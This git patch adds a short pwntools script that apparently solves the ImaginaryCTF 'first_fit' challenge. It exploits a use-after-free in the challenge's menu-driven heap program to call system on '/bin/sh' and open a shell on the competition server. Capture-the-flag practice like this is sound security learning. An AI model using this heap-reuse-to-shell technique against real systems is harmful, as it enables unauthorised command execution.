From 3cbecac8ad8b989c1449e71e04f37e181854923f Mon Sep 17 00:00:00 2001
From: Rajat Agarwal <rajat18agarwal@gmail.com>
Date: Sat, 2 Oct 2021 01:30:32 +0530
Subject: [PATCH] priv esc chal imaginary

---
 misc/first_fit.py | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 misc/first_fit.py

diff --git a/misc/first_fit.py b/misc/first_fit.py
new file mode 100644
index 0000000..8fd334b
--- /dev/null
+++ b/misc/first_fit.py
@@ -0,0 +1,25 @@
+from pwn import *
+
+r = remote("chal.imaginaryctf.org", 42003)
+# for i in range(0,7):
+r.recvuntil('1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ')
+r.sendline("1")
+r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
+r.sendline("1")
+r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
+r.sendline("3")
+r.recvuntil(">> ")
+r.sendline("/bin/sh")
+r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
+r.sendline("2")
+r.recvuntil("What do I free?\n(1) a\n(2) b\n>> ")
+r.sendline("1")
+r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
+r.sendline("1")
+r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
+r.sendline("2")
+r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
+r.sendline("4")
+r.sendline("whoami")
+print(r.recvline())
+r.close()